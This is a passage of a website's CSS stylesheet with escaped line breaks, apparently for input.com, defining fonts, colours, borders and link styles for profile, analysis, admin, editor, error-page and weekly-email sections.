/*background-color: #D4E6F2; border: 1px solid #96BDE4; position: relative; padding-top: 1px; padding-right: 3px; padding-bottom: 2px; padding-left: 3px;*/ text-decoration:none;}\r\n\r\n/***************************** Sections *******************************/\r\n\r\n.profSectionHeader{font: Verdana, Helvetica, Arial, sans-serif; font-size: 14px; color: #222;font-weight: bold;}\r\n.profSectionSubHeader{font: Verdana, Helvetica, Arial, sans-serif; font-size: 12px; color: #000000;font-weight: bold;}\r\n.profSectionSubHeaderC{font: Verdana, Helvetica, Arial, sans-serif; font-size: 13px;color: #000000; font-weight: bold; text-align: center; text-transform: capitalize;}\r\n\r\n.profImageInfoTxt{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 10px;color: #999966; font-weight: normal;}\r\n\r\n\r\n/*** Outer Section Border ***/\r\n\r\n.profDataSectionBorder{ border: 1px solid #6897CB;}\r\n\r\n/*** Table Styles ***/\r\n\r\n.profTableHeaderTitle{font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 15px; font-weight: bold; color: #002869;}\r\n.profTableColumnTitle{font-family:  Verdana, Arial, Helvetica,sans-serif; font-size: 12px; font-weight: bold; color: #232323; padding-left: 3px; background-color: #D1E2FE; border-bottom: 1px solid #9FC4EA;}\r\n.profTableHeaderBg{ background-color: #D1E2FE; font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 15px; font-weight: bold; color: #002869;}\r\n.profTableHeaderBg2{background-color: #8BB2DA; font-family:  Verdana, Arial, Helvetica,sans-serif; font-size: 12px; font-weight: bold; color: #232323; padding-left: 3px;}\r\n.profTableHeaderBg3{background-color: #D1E2FE; font-family:  Verdana, Arial, Helvetica,sans-serif; font-size: 12px; font-weight: bold; color: #232323; padding-left: 3px;}\r\n\r\n.profDataTxt{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: normal; color: #000000;}\r\n\r\n.profTableRow1Bg{background-color: #ffffff; padding-left: 3px;}\r\n.profTableRow2Bg{background-color: #EEEEEE; padding-left: 3px;}\r\n.profTableRowBtmBg{background-color: #C0C0C0;}\r\n\r\n/*** Profile Data Sub Section (lt gray box) ***/\r\n\r\n.profTableDataBox{ background-color: #F2F2F2; border: 1px solid #9FC4EA;}\r\n.profTableDataBg{ background-color: #F2F2F2;}\r\n\r\n/***====================================== Analysis Pages =============================================***/\r\n\r\n/*************** Listing Page ************/\r\n\r\n.analysisSectionHeader{ font: 16px Arial, Helvetica, Geneva, Lucida, Verdana, sans-serif; color: #003082; font-weight: bold;}\r\n\r\n.analysisSectionSubHeader{font: 13px Arial, Helvetica, Geneva, Lucida, Verdana, sans-serif; color: #515151; font-weight: normal;}\r\n\r\n.analysisRptTitle{font: 11px Verdana, Arial, Helvetica, sans-serif; color: #000000; font-weight: normal;}\r\n.analysisRptDate{font: 11px \'Lucida Grande\', Geneva, Verdana, Arial, Helvetica, sans-serif; color: #666666; font-weight: normal;}\r\n\r\n.analysisListingRptTitle{font: 13px \'Lucida Grande\', Geneva, Verdana, Arial, Helvetica, sans-serif; color: #666666; font-weight: bold;}\r\n\r\n.analysisOverviewTxt{font: 11px  Verdana, Arial, Helvetica, sans-serif; color: #000000; font-weight: normal;}\r\n\r\n/*** overview text links ***/\r\n\r\na.analysisOverviewTxt{font: 11px  Verdana, Arial, Helvetica, sans-serif;color:#0A4CBC; text-decoration:none;}\r\na.analysisOverviewTxt:link{ font: 11px  Verdana, Arial, Helvetica, sans-serif; color:#0A4CBC; text-decoration:none;}\r\na.analysisOverviewTxt:visited{font: 11px  Verdana, Arial, Helvetica, sans-serif;color: #6197CE; text-decoration: none;}\r\na.analysisOverviewTxt:hover{font: 11px  Verdana, Arial, Helvetica, sans-serif; color:#0A4CBC; text-decoration:underline;}\r\na.analysisOverviewTxt:active{font: 11px  Verdana, Arial, Helvetica, sans-serif; color:#0A4CBC; text-decoration:none;}\r\n\r\n/*** summary text links ***/\r\n.analysisSummaryTxt{font: 11px  Verdana, Arial, Helvetica, sans-serif; color:#000000; text-decoration:none;}\r\n\r\na.analysisSummaryTxt{font: 11px  Verdana, Arial, Helvetica, sans-serif; color:#0A4CBC; text-decoration:none;}\r\na.analysisSummaryTxt:link{font: 11px  Verdana, Arial, Helvetica, sans-serif; color:#0A4CBC; text-decoration:none;}\r\na.analysisSummaryTxt:visited{font: 11px  Verdana, Arial, Helvetica, sans-serif;color: #6197CE;text-decoration: none;}\r\na.analysisSummaryTxt:hover{font: 11px  Verdana, Arial, Helvetica, sans-serif;color:#0A4CBC; text-decoration:underline;}\r\na.analysisSummaryTxt:active{font: 11px  Verdana, Arial, Helvetica, sans-serif;color:#0A4CBC;text-decoration:none;}\r\n\r\n/*** small links ***/\r\n\r\n.analysisLinkSm{font: 10px  Verdana, Arial, Helvetica, sans-serif;color:#000000; text-decoration:none;}\r\na.analysisLinkSm{font: 10px  Verdana, Arial, Helvetica, sans-serif;color:#0A4CBC; text-decoration:none;}\r\na.analysisLinkSm:link{font: 10px  Verdana, Arial, Helvetica, sans-serif;color:#0A4CBC; text-decoration:none;}\r\na.analysisLinkSm:visited{font: 10px  Verdana, Arial, Helvetica, sans-serif;color: #6197CE;text-decoration: none;}\r\na.analysisLinkSm:hover{font: 10px  Verdana, Arial, Helvetica, sans-serif;color:#0A4CBC; text-decoration:underline;}\r\na.analysisLinkSm:active{font: 10px  Verdana, Arial, Helvetica, sans-serif;color:#0A4CBC; text-decoration:none;}\r\n\r\n\r\n/*=================================================== ADMIN Styles ================================================================*/\r\n\r\n\r\n.detailUpdatedDate {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #FFF9D0; background-color: #d5600b; padding: 2px; }\r\n\r\n.alertTxtAdmin{ font: 13px Verdana, sans-serif; color: #CC1800; font-weight: bold;}\r\n.alertTxtAdminSm{font: 11px Verdana, sans-serif; color: #CC1800; font-weight: bold;}\r\n\r\n.internalNotesTxt{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #CC1800;}\r\n.internalLabel{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #CC1800; font-weight: bold;}\r\n.internalOnlyData{ font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 10px; color: #000000; font-weight: normal; background-color:#FFE6A3;}\r\n\r\n.adminDetailSectionHeaderTitle{ font-family: \"Lucida Grande\", geneva, arial, helvetica, sans-serif; font-size: 15px; font-weight: bold; color: #000000; padding-top: 2px; padding-bottom: 2px;}\r\n.adminDetailSubSectionHeaderTitle{ font-family: \"Lucida Grande\", geneva, arial, helvetica, sans-serif; font-size: 12px; color: #333333; font-weight: bold;}\r\n.adminDetailSectionHeader{ background-color: #FFDB87; border-bottom : 1px solid #E2691F; position: relative;}\r\n.adminDetailSectionFooter{ background-color: #FFDB87; border-top : 1px solid #E2691F; position: relative;}\r\n.adminDetailSectionBox{ border: 1px solid #E2691F;}\r\n\r\n.adminDetailSectionBG{ background-color: #FFF9D0; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 3px;}\r\n.adminDetailSectionRowBG{ background-color: #FFDB87; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 3px;}\r\n\r\n/*************** Internal Links ****************************/\r\n\r\n.adminDetailLinkSm {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #000000; text-decoration: none; font-weight: normal; background-color: #FFE6A3; }\r\na.adminDetailLinkSm:link {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #0A4CBC; text-decoration: none; font-weight: normal; background-color: #FFE6A3; }\r\na.adminDetailLinkSm:visited {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #6197CE; text-decoration: none;}\r\na.adminDetailLinkSm:hover { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #6197CE; text-decoration: underline;}\r\na.adminDetailLinkSm:active {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #0A4CBC; text-decoration: none;}\r\n\r\na.adminLink:link {border-left:1px solid #E2691F; border-right:1px solid #992B00; border-top:1px solid #E2691F; border-bottom:1px solid #992B00; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #000000; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px; background-color: #F9E0A5; position: relative; \r\n/* background: url(\'http://www.input.com/globalImages/buttons/adminBtnBg.gif\') center; */\r\n}\r\na.adminLink:visited {border-left:1px solid #E2691F; border-right:1px solid #992B00; border-top:1px solid #E2691F; border-bottom:1px solid #992B00; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #000000; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px; background-color: #F9E0A5; position: relative; \r\n/* background: url(\'http://www.input.com/globalImages/buttons/adminBtnBg.gif\') center; */\r\n}\r\na.adminLink:hover { border-left:1px solid #E2691F; border-right:1px solid #992B00; border-top:1px solid #E2691F; border-bottom:1px solid #992B00; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #333333; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px; background-color: #F9E0A5; position: relative; \r\n/* background: url(\'http://www.input.com/globalImages/buttons/adminBtnBgHover.gif\') center; */\r\n}\r\na.adminLink:active {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #000000; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #E2691F; border-right-color: #992B00; border-bottom-color: #992B00; border-left-color: #E2691F; padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px; background-color: #F9E0A5; position: relative;}\r\n\r\n/*** Highlighted Admin Button ***/\r\na.adminAlertLink:link {border-left:1px solid #E2691F; border-right:1px solid #000000; border-top:1px solid #E2691F; border-bottom:1px solid #000000; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #ffffff; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px; background-color: #992B00; position: relative; \r\n/* background: url(\'http://www.input.com/globalImages/buttons/adminBtnBg.gif\') center; */\r\n}\r\na.adminAlertLink:hover { border-left:1px solid #992B00; border-right:1px solid #992B00; border-top:1px solid #992B00; border-bottom:1px solid #992B00; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #ffffff; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px; background-color: #E2691F; position: relative; \r\n/* background: url(\'http://www.input.com/globalImages/buttons/adminBtnBgHover.gif\') center; */\r\n}\r\na.adminAlertLink:active { border-left:1px solid #992B00; border-right:1px solid #992B00; border-top:1px solid #992B00; border-bottom:1px solid #992B00; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #ffffff; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px; background-color: #E2691F; position: relative; \r\n/* background: url(\'http://www.input.com/globalImages/buttons/adminBtnBgHover.gif\') center; */\r\n}\r\n\r\n/*** Edit Button ***/\r\n\r\na.adminEditLink:link {\r\n border-left:1px solid #E2691F; border-right:1px solid #992B00; border-top:1px solid #E2691F; border-bottom:1px solid #992B00; \r\n font-family: Verdana, Arial, Helvetica, sans-serif;\r\n font-size: 9px;\r\n font-weight: bold;\r\n color: #000000;\r\n text-decoration: none;\r\n padding-right: 3px;\r\n padding-left: 3px;\r\n padding-top: 1px;\r\n padding-bottom: 1px; \r\n background-color: #F9E0A5;\r\n position: relative;\r\n /* background: url(\'http://www.input.com/globalImages/buttons/adminBtnBg.gif\') center; */\r\n}\r\n\r\na.adminEditLink:visited {\r\n border-left:1px solid #E2691F; border-right:1px solid #992B00; border-top:1px solid #E2691F; border-bottom:1px solid #992B00; \r\n font-family: Verdana, Arial, Helvetica, sans-serif;\r\n font-size: 9px;\r\n font-weight: bold;\r\n color: #000000;\r\n text-decoration: none;\r\n padding-right: 3px;\r\n padding-left: 3px;\r\n padding-top: 1px;\r\n padding-bottom: 1px; \r\n background-color: #F9E0A5;\r\n position: relative;\r\n /* background: url(\'http://www.input.com/globalImages/buttons/adminBtnBg.gif\') center; */\r\n}\r\n\r\na.adminEditLink:hover {\r\n border-left:1px solid #E2691F; border-right:1px solid #992B00; border-top:1px solid #E2691F; border-bottom:1px solid #992B00; \r\n font-family: Verdana, Arial, Helvetica, sans-serif;\r\n font-size: 9px;\r\n font-weight: bold;\r\n color: #333333;\r\n text-decoration: none;\r\n padding-right: 3px;\r\n padding-left: 3px;\r\n padding-top: 1px;\r\n padding-bottom: 1px; \r\n background-color: #F9E0A5;\r\n position: relative;\r\n /* background: url(\'http://www.input.com/globalImages/buttons/adminBtnBgHover.gif\') center; */\r\n}\r\n\r\na.adminEditLink:active {\r\n border-left:1px solid #E2691F; border-right:1px solid #992B00; border-top:1px solid #E2691F; border-bottom:1px solid #992B00; \r\n font-family: Verdana, Arial, Helvetica, sans-serif;\r\n font-size: 9px;\r\n font-weight: bold;\r\n color: #000000;\r\n padding-right: 3px;\r\n padding-left: 3px;\r\n padding-top: 1px;\r\n padding-bottom: 1px; \r\n background-color: #F9E0A5;\r\n position: relative;\r\n /* background: url(\'http://www.input.com/globalImages/buttons/adminBtnBg.gif\') center; */\r\n}\r\n\r\n/*** Small Edit Button ***/\r\n\r\na.adminEditLinkSm:link {\r\n border-left:1px solid #E2691F; border-right:1px solid #992B00; border-top:1px solid #E2691F; border-bottom:1px solid #992B00; \r\n font-family: Arial, Helvetica, Verdana, sans-serif;\r\n font-size: 9px;\r\n font-weight: bold;\r\n color: #000000;\r\n text-decoration: none;\r\n padding-right: 3px;\r\n padding-left: 3px;\r\n padding-top: 1px;\r\n padding-bottom: 1px; \r\n background-color: #F9E0A5;\r\n position: relative;\r\n /* background: url(\'http://www.input.com/globalImages/buttons/adminBtnBg.gif\') center; */\r\n}\r\n\r\na.adminEditLinkSm:visited {\r\n border-left:1px solid #E2691F; border-right:1px solid #992B00; border-top:1px solid #E2691F; border-bottom:1px solid #992B00; \r\n font-family: Arial, Helvetica, Verdana, sans-serif;\r\n font-size: 9px;\r\n font-weight: bold;\r\n color: #000000;\r\n text-decoration: none;\r\n padding-right: 3px;\r\n padding-left: 3px;\r\n padding-top: 1px;\r\n padding-bottom: 1px; \r\n background-color: #F9E0A5;\r\n position: relative;\r\n /* background: url(\'http://www.input.com/globalImages/buttons/adminBtnBg.gif\') center; */\r\n}\r\n\r\na.adminEditLinkSm:hover {\r\n border-left:1px solid #E2691F; border-right:1px solid #992B00; border-top:1px solid #E2691F; border-bottom:1px solid #992B00; \r\n font-family: Arial, Helvetica, Verdana, sans-serif;\r\n font-size: 9px;\r\n font-weight: bold;\r\n color: #333333;\r\n text-decoration: none;\r\n padding-right: 3px;\r\n padding-left: 3px;\r\n padding-top: 1px;\r\n padding-bottom: 1px; \r\n background-color: #F9E0A5;\r\n position: relative;\r\n /* background: url(\'http://www.input.com/globalImages/buttons/adminBtnBgHover.gif\') center; */\r\n}\r\n\r\na.adminEditLinkSm:active {\r\n border-left:1px solid #E2691F; border-right:1px solid #992B00; border-top:1px solid #E2691F; border-bottom:1px solid #992B00; \r\n font-family: Arial, Helvetica, Verdana, sans-serif;\r\n font-size: 9px;\r\n font-weight: bold;\r\n color: #000000;\r\n padding-right: 3px;\r\n padding-left: 3px;\r\n padding-top: 1px;\r\n padding-bottom: 1px; \r\n background-color: #F9E0A5;\r\n position: relative;\r\n /* background: url(\'http://www.input.com/globalImages/buttons/adminBtnBg.gif\') center; */\r\n}\r\n\r\n.errorTxtAdmin{ font: 11px Verdana, Arial, Helvetica, sans-serif; color: #B90000; font-weight: normal;}\r\n.errorMessageTxtAdmin{ font: 11px Verdana, Arial, Helvetica, sans-serif; color: #000000; font-weight: normal;}\r\n.requiredTxtAdmin{ font: 11px Verdana, Arial, Helvetica, sans-serif; color: #B90000; font-weight: normal;}\r\n.adminTxt{ font: 12px Verdana, Arial, Helvetica, sans-serif; color: #333333; font-weight: normal;}\r\n.adminStatusVisible{ font: 10px Verdana, Arial, Helvetica, sans-serif; font-weight: normal;color: #669900;}\r\n.adminStatusNotVisible{ font: 10px Verdana, Arial, Helvetica, sans-serif; font-weight: normal;}\r\n.adminStatusArchived{ font: 10px Verdana, Arial, Helvetica, sans-serif; font-weight: normal;color: #999999;}\r\n\r\nlegend.admin { font: 14px Arial, Helvetica, Verdana, Geneva, Lucida, sans-serif; font-weight: bold; color:#660000; position:absolute; top:-10px; padding:2px;}\r\nfieldset.admin { background:#F9E0A5; border:1px solid #E2691F; position:relative; margin-top:20px; padding-top:5px; padding-left: 8px; padding-bottom: 5px;}\r\nform.adminMenuLabel{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold;}\r\nselect.adminMenuOptions{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;}\r\noption.admin { background-color: #EEF2F7;}\r\n\r\na.adminPageLink:link { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #2A2A2A; background-color: #C6DCF3; border: 1px solid #FF9900; text-decoration: none; padding-left: 3px; padding-bottom: 0px; padding-right: 3px; padding-top: 0px;}\r\na.adminPageLink:visited { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #2A2A2A; background-color: #C6DCF3; border: 1px solid #FF9900; text-decoration: none; padding-left: 3px; padding-bottom: 0px; padding-right: 3px; padding-top: 0px;}\r\na.adminPageLink:hover { color: #ffffff; text-decoration: none; border: 1px solid #FF9900; background-color: #89AEDB; padding-left: 3px; padding-bottom: 0px; padding-right: 3px; padding-top: 0px;}\r\na.adminPageLink:active {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #2A2A2A; background-color: #C6DCF3; border: 1px solid #FF9900; text-decoration: none; padding-left: 3px; padding-bottom: 0px; padding-right: 3px; padding-top: 0px;}\r\n\r\n/*============================================== INTERNAL Styles ===============================================================*/\r\n\r\n/*** USER ADMIN PAGE STYLES ***/\r\n\r\n.alertTxt{ font: 14px Arial, Helvetica, Verdana, sans-serif; color: #B90000; font-weight: bold; line-height: 12px;}\r\n.adminFormFieldLabel{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #000000; font-weight: bold;}\r\n.adminRptSpecialTxt{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #000000; font-weight: bold;}\r\n.adminFormFieldLabelDisabled{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #CCCCCC; font-weight: normal;}\r\n.intranetHeaderBG { background-image:url(\'http://www.input.com/globalImages/header/headerBgBlGrad.gif\'); background-repeat:no-repeat; background-color: #316AC4 }\r\n\r\n/*** TaskManager Styles ***/\r\nlegend.taskR { font: 14px Arial, Helvetica, Verdana, Geneva, Lucida, sans-serif; font-weight: bold; color:#660000; position:absolute; top:-10px; padding:2px;}\r\nfieldset.taskR { background:#F9E0A5; border:1px solid #E2691F; position:relative; margin-top:20px; padding-top:5px; padding-left: 8px; padding-bottom: 5px;}\r\nfieldset.task { background:#E9F1FF; border:1px solid #E2691F; position:relative; margin-top:20px; padding-top:5px; padding-left: 8px; padding-bottom: 5px;}\r\n\r\n/***============================================== DO NOT USE ===================================================================***/\r\n\r\n/*** FCK Editor Styles ***/\r\n\r\n.editorTableOuterBox{border: 1px solid #DADADA; background-color: #ffffff;}\r\n\r\n/*** Default Body Text ***/\r\n.editorDefaultTxt {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;color: #000000;}\r\n\r\n/*** Paragraph Text ***/\r\n.editorParagraphTxt {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 11px;color: #000000;}\r\n\r\n/*** Centered Title  ***/\r\n.editorParagraphTitle {font-weight: bold; color: #000000; text-align: center;}\r\n\r\n/*** Section Header ***/\r\n.editorSectionHeader {font: Verdana, Helvetica, Arial, sans-serif;font-size: 14px; color: #222;font-weight: bold;}\r\n\r\n/*** Section SubHeader ***/\r\n.editorSectionSubHeader {font: Verdana, Helvetica, Arial, sans-serif;font-size: 13px;color: #000000; font-weight: bold; text-align: center; text-transform: capitalize;}\r\n\r\n/*** Cited Source Name ***/\r\n.editorDocTitle {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 11px;color: #000000; font-style: italic; }\r\n\r\n/*** Back To Top Link  ***/\r\n\r\n.backTop{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 10px;color: #CC3300; text-decoration: underline;}\r\na.backTop{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 10px;color: #CC3300; text-decoration: underline;}\r\na.backTop:link{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 10px;color: #CC3300; text-decoration: underline;}\r\na.backTop:visited{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 10px;color: #CC3300; text-decoration: underline;}\r\na.backTop:hover{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #CC3300; text-decoration: none;}\r\n\r\n/*** Copyright Info Header  ***/\r\n.detailCopyrightHeader{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;font-weight:bold;color: #333333;}\r\n\r\n/*** Copyright Info Text ***/\r\n.detailCopyrightTxt{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #666666;}\r\n\r\n/*** Data Source Text  ***/\r\n.detailDataSource{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 10px;color: #666666;}\r\n\r\n/*** Click on Image Text  ***/\r\n.profImageInfoTxt{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 10px;color: #999966;font-weight: normal;}\r\n\r\n/****************************** END EDITOR STYLES *******************************/\r\n\r\n/************************************************ MISSING FILE AND PAGE SCREENS ***************************************************/\r\n\r\n/*** 404 Pg ***/\r\n\r\n.404text {font-family: arial, verdana, sans-serif;font-size: 11px;color: #003399;}\r\n.404text a:link  {font-family: arial, verdana, sans-serif;font-size: 11px;color: #003399;}    \r\n.404text a:visited {font-family: arial, verdana, sans-serif;font-size: 11px;color: #003399;}    \r\n.404text a:hover{font-family: arial, verdana, sans-serif;font-size: 11px;color: #003399;}\r\n.404text a:active {font-family: arial, verdana, sans-serif;font-size: 11px;color: #003399;}\r\n\r\n/*** File Missing Pg ***/\r\n\r\n.missingBG {background-color: #EEF2F7;}\r\n.missingInnerTable {border: 1px solid #CCCCCC; background-color: #ffffff;}\r\n\r\n/*** Need Flash ***/\r\n\r\n.getFlashHeader {font: \"Lucida Grande\", \"Lucida Sans Unicode\", \"Trebuchet MS\", Verdana, Geneva, Lucida, Arial, Helvetica, sans-serif; font-size: 14px;  color: #222; font-weight: bold;}\r\n.getFlashTxt {font: \"Lucida Grande\", \"Lucida Sans Unicode\", \"Trebuchet MS\", Verdana, Geneva, Lucida, Arial, Helvetica, sans-serif; font-size: 14px;  color: #222; font-weight: bold;}\r\n.getFlashTM {font-family: Verdana, Geneva, Lucida, Arial, Helvetica, sans-serif; font-size: 10px;  color: #999999; font-weight: normal;}\r\n.getFlashBG {background-color: #EEF2F7;}\r\n.getFlashInnerTable {border: 1px solid #CCCCCC; background-color: #ffffff;}\r\n\r\n\r\n/*============================================== send email ==========================================================* */\r\n\r\n.thankYouTxt{ font-family: Arial, Helvetica, sans-serif; font-size: 16px; color: #666666; font-weight:bold;}\r\n.confirmationMsgTxt{font-family: Arial, Helvetica, sans-serif; font-size: 12px; color: #000000; font-weight:bold;}\r\n\r\n/**================================== weekly email ===================================================================================*/\r\n\r\n/**********************************************\r\nmain styles                            \r\n********************************************/\r\n\r\n.wEmailmaintext{ font-family: Verdana, Arial, Helvetica, sans-serif; color: #666666; font-size: 11px; background: #ffffff;}\r\na.wEmailmaintext:visited{ font-family: Verdana,Arial, Helvetica, sans-serif; color: #013082; font-size: 11px; background: #ffffff; text-decoration: none;}\r\n\r\n.wEmailmaintext2{font-family: Verdana, Arial, Helvetica, sans-serif; color: #000000; font-size: 11px;}\r\na.wEmailmaintext2:visited{ font-family: Verdana,Arial, Helvetica, sans-serif; color: #2347B3; font-size: 11px; background: #ffffff; text-decoration: none;}\r\n\r\n.wEmailmaintextNewstitle{ font-family: Verdana, Arial, Helvetica, sans-serif; color: #333333; font-size: 11px;}\r\n.wEmailsponsors{ font-family: Verdana, Arial, Helvetica, sans-serif; color: #669EDB; font-size: 11px;}\r\n.wEmailReminder{ font-family: Arial, Verdana, Helvetica, sans-serif; color: #666666; font-size: 10px;}\r\n.wEmailLiveDemos{ font-family: Verdana, Arial, Helvetica, sans-serif; color: #FA9D1C; font-size: 11px; background: #ffffff;}\r\n.wEmailsubscription{ font-family: Verdana, Arial, Helvetica, sans-serif; color: #666666; font-size: 12px;}\r\n.wEmailinThisEdition{ font-family: Verdana, Arial, Helvetica, sans-serif; color: #000000; font-size: 12px;}\r\n.wEmailTrainingTitles{ font-family: Verdana, Arial, Helvetica, sans-serif; color: #669EDB; font-size: 12px;}\r\n.wEmailLatestNews{ font-family: Verdana, Arial, Helvetica, sans-serif; color: #003082; font-size: 12px; background: #D5DADF;}\r\n\r\n/************ Border styles **************/\r\n\r\n.wEmailtableBorder{border: 1px solid #B2B2B2;background: #ffffff;}\r\n.wEmailtableBorderNoTop{border: 1px solid #B2B2B2;border-top: none;}\r\n\r\n.wEmailtableEvents{border: 1px solid #669EDB;border-top: none;background: #ffffff;}\r\n.wEmailtableBreakfast{border: 1px solid #003082;border-top: none;background: #ffffff;}\r\n\r\n.wEmailNavVLn{background: #D5DAE0;}\r\n\r\n/************ Table background color styles **************/\r\n\r\n.wEmailMainHeaderTable{background: #669EDB;}\r\n.wEmailRightSideTable{background: #EEF2F7;}\r\n.wEmailThisIssueHeader{background: #FA9D1C;}\r\n.weeklyEmailArchiveNavBG{background: #6699CC;}\r\n\r\n/************  hr styles **************/\r\n\r\nhr.wEmail{color: #D5DADF;}\r\nhr.wEmailSponsors{color: #669EDB;}\r\nhr.wEmailArchiveHeader{color: #BBD3EF;}\r\n\r\n/************ Header styles **************/\r\n\r\n#wEmailmastHead{background-color: #669EDB;}\r\n.wEmailissueDate{font-family: Arial, Verdana, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color: #013082;}\r\n.wEmailArchiveIssueDate{font-family: Arial, Verdana, Helvetica, sans-serif; font-size: 12px; font-weight: bold; color: #ffffff;}\r\n.weArchiveNavHeader{font-family: Arial, Verdana, Helvetica, sans-serif; font-size: 12px; font-weight: bold; color: #ffffff;}\r\n.headerNavBg{background-color:#003082}\r\n\r\n/******* link styles *******/\r\n\r\na.wEmaillink {color: #4080BE;text-decoration: none;}\r\n\r\na.wEmailheaderNav{ font-family: Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color: #ffffff; background-color: #013082; text-decoration: none; padding-top: 1px; padding-right: 7px; padding-bottom: 1px; padding-left: 7px;}\r\na.wEmailheaderNav:link, a.wEmailheaderNav:visited { font-family: Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color: #ffffff; background-color: #013082; text-decoration: none; padding-top: 1px; padding-right: 7px; padding-bottom: 1px; padding-left: 7px;}\r\na.wEmailheaderNav:hover{ font-family: Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color: #003082; background-color: #669EDB; text-decoration: none; padding-top: 1px; padding-right: 7px; padding-bottom: 1px; padding-left: 7px;}\r\n\r\n.wEmailthisIssueSectionsTitle{font-family: Arial, Helvetica, Verdana, sans-serif;color: #000000;font-size: 13px;text-decoration: none;}\r\n\r\na.wEmailthisIssueLink{font-family: Arial, Helvetica, Verdana, sans-serif;color: #003082; font-size: 13px; text-decoration: none;}\r\na.wEmailthisIssueLink:visited{ font-family: Arial, Helvetica, Verdana, sans-serif; color: #4080BE; font-size: 13px; text-decoration: none;}\r\na.wEmailthisIssueLink:hover{font-family: Arial, Helvetica, Verdana, sans-serif; color: #4080BE; font-size: 13px; text-decoration: underline;}\r\n\r\na.wEmailthisIssueLinkSection{font-family: Arial, Helvetica, Verdana, sans-serif;color: #666666; font-size: 13px; text-decoration: none;}\r\na.wEmailthisIssueLinkSection:visited{font-family: Arial, Helvetica, Verdana, sans-serif;color: #B2B2B2; font-size: 13px; text-decoration: none;}\r\na.wEmailthisIssueLinkSection:hover{ font-family: Arial, Helvetica, Verdana, sans-serif; color: #4080BE; font-size: 13px; text-decoration: none;}\r\n\r\na.wEmailindustEvents{font-family: Verdana, Arial, Helvetica, sans-serif;color: #2347B3; font-size: 11px; text-decoration: none;}\r\na.wEmailindustEvents:visited{font-family: Verdana, Arial, Helvetica, sans-serif;color: #2347B3; font-size: 11px; text-decoration: none;}\r\na.wEmailindustEvents:hover{ font-family: Verdana, Arial, Helvetica, sans-serif; color: #003082; font-size: 11px; text-decoration: underline;}\r\n\r\n/******* Archive page date link styles *******/\r\n\r\na.WEArchvDateLinks:link {border-left:1px solid #A8B9D2; border-right:1px solid #56698B; border-top:1px solid #A8B9D2; border-bottom:1px solid #56698B; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #000000; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px; background-color: #E3EAF9; position: relative; background: url(\'http://www.input.com/globalImages/buttons/clBtnBg.gif\') center;}\r\na.WEArchvDateLinks:visited {border-left:1px solid #A8B9D2; border-right:1px solid #56698B; border-top:1px solid #A8B9D2; border-bottom:1px solid #56698B; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #000000; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 